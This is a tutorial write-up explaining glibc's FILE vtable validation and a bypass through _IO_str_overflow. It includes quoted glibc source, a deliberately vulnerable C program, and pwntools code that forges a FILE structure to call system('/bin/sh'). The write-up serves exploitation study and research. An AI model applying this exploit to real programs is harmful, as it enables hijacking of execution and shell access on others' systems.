FILE Structure Exploitation ('vtable' check bypass)
Introduction
‘FILE’ structure exploitation is one of the common ways to gain control over execution flow. The attacker overwrites a ‘FILE’ pointer (say stdin, stdout, stderr or any other file handler opened by fopen()
) to point to his/her own forged structure. This structure contains vtable
, which is a pointer to a table which contains functions which are called when the original ‘FILE’ pointer is used to perform different operations (such as fread
, fwrite
, etc.). However, checks have recently been incorporated in libc
that place a restriction on vtable
to protect against most of the attacks.
Kees Cook has written an informative article about ‘Abusing the FILE structure’. This technique will no longer work in the patched libc. Another possible way to exploit the ‘FILE’ structure is to forge the read
, write
pointers instead of the vtable
. This technique is highlighted by Angelboy in his presentation: Play with FILE Structure - Yet Another Binary Exploit Technique.
In this post, I’ll be describing the protection mechanism introduced recently in libc and a possible way to bypass it. We’ll not only get RIP control, but also control over the the first three parameters in RDI, RSI and RDX respectively. I’ll be only targeting the vtable
pointer.
Prerequisites
It is assumed that the reader is familiar with the current FILE
structure and the common (though now obsolete) attack on vtable
. The following two resources (same as mentioned previously) are sufficient to get the necessary background:
Protection mechanism
Two new functions have been added to protect against tampering with the vtable
pointer: IO_validate_vtable
and _IO_vtable_check
. Every vtable reference is first passed through IO_validate_vtable
(which internally uses _IO_vtable_check
). In case tampering is detected, the program aborts, otherwise the corresponding vtable
pointer is returned.
/*
IO_validate_vtable
Source: https://code.woboq.org/userspace/glibc/libio/libioP.h.html#IO_validate_vtable
*/
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
The function checks whether the vtable
pointer lies inside the __libc_IO_vtables
section or not. If not, it further check the pointer by calling _IO_vtable_check
. This section contains some vtables of the type _IO_jump_t
(source). The original vtable
is also part of it.
/*
_IO_vtable_check
Source: https://code.woboq.org/userspace/glibc/libio/vtables.c.html#_IO_vtable_check
*/
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
Attack
In this attack, we will make the FILE’s vtable
point to some other place (useful), which is already inside the __libc_IO_vtables
section. This will pass the security check. I came across this attack while going through a CTF writeup. The _IO_str_jumps
is also part of this section (source). It contains a pointer to the function _IO_str_overflow
which is useful for our purpose.
/* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow
*/
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
/* ^ Getting RIP control !*/
We shall overwrite the vtable
in such a manner so that instead of calling the regular ‘FILE’ associated function, _IO_str_overflow
would be called. Since we can already forge fp
, we can control the execution flow, along with the first three parameters in this line:
(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
fp->_s._allocate_buffer
is at a fixed offset within fp
and new_size
is being calculated from the members of fp
. The offset can be calculated by reversing the binary or through gdb. In my case, the offset was 0xe0
, which is directly after vtable
pointer. new_size
is calculated as follows:
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
Hence, we can craft any ‘even’ value for new_size
by setting appropriate _IO_buf_end
and _IO_buf_base
. For instance, if we want new_size
to be equal to x
, set _IO_buf_base = 0
and _IO_buf_end = (x - 100)/2
. However, we also have to pass a check before arriving at the particular call instruction:
int flush_only = c == EOF;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
flush_only
is 0, so we want pos >= _IO_blen(fp)
. This can be achieved by setting _IO_write_ptr = (x - 100)/2
and _IO_write_base = 0
.
Regarding the second and third parameters, let’s reverse the binary at assembly level and trace back the registers rsi
and rdx
before the call instruction:
mov rdx, [rdi+28h]
mov rsi, rdx
sub rsi, [rdi+20h]
rdi + 0x28
matches with fp->_IO_write_ptr
. rdi + 0x20
matches with _IO_write_base
. Note that we already have a restriction that _IO_write_ptr - _IO_write_base
should be greater than or equal to (rdi - 100)/2
. Hence, we cannot have arbitrary values for rsi
and rdx
.
Now, with this let’s try our own exploit. Consider the vulnerable code:
/* gcc vuln.c -o vuln */
#include <stdio.h>
#include <unistd.h>
char fake_file[0x200];
int main() {
FILE *fp;
puts("Leaking libc address of stdout:");
printf("%p\n", stdout); // Emulating libc leak
puts("Enter fake file structure");
read(0, fake_file, 0x200);
fp = (FILE *)&fake_file;
fclose(fp);
return 0;
}
Here is the link to the above mentioned code. You might want to work with the same binary and libc that I used. I am running it on Ubuntu 16.04.
The program first simulates a leak of an address in libc. It then takes input in a global variable fake_file
and points the file pointer fp
to it. Next, it closes the file pointer using fclose(fp)
.
The first step towards developing the exploit is to realize the target that we want to achieve. Namely, calling system("/bin/sh")
. I shall be using pwntools library. The binary comes with a libc leak, making it easier for us to calculate the address of system
and the string /bin/sh
within the libc.
rip = libc_base + libc.symbols['system']
rdi = libc_base + next(libc.search("/bin/sh"))
Our next step is to point vtable
to some address, such that, fclose
will actually call _IO_str_overflow
. I used gdb to find the relative offset of a pointer to _IO_str_overflow
from _IO_file_jumps
, which apparently is 0xd8
for the provided libc. Now, if I point the vtable
to 0x10
bytes before it, fclose
will call _IO_str_overflow
(again from gdb).
io_str_overflow_ptr_addr = libc_base + libc.symbols['_IO_file_jumps'] + 0xd8
# Calculate the vtable by subtracting appropriate offset
fake_vtable_addr = io_str_overflow_ptr_addr - 2*8
Next, we can craft our fake ‘FILE’ structure by setting appropriate vtable
and also other pointers so as to call rip
with rdi
as a parameter.
# Craft file struct
file_struct = pack_file(_IO_buf_base = 0,
_IO_buf_end = (rdi-100)/2,
_IO_write_ptr = (rdi-100)/2,
_IO_write_base = 0,
_lock = bin.symbols['fake_file'] + 0x80)
# vtable pointer
file_struct += p64(fake_vtable_addr)
# (*((_IO_strfile *) fp)->_s._allocate_buffer)
file_struct += p64(rip)
file_struct = file_struct.ljust(0x100, "\x00")
Note that we also have to set fp->_lock
to an address pointing to NULL
to prevent fclose
waiting on someone else for releasing the lock. The complete exploit can be downloaded here.
Note: Another possible function (instead of _IO_str_overflow
) that one could use is _IO_wstr_finish()
as seen in this post by Josh Wang.
Conclusion
Given that an attacker has control over a few fields of the ‘FILE’ structure(for rdi
), the vtable
pointer and 8 bytes after it (for rip
), the additional check on vtable
offers not much protection.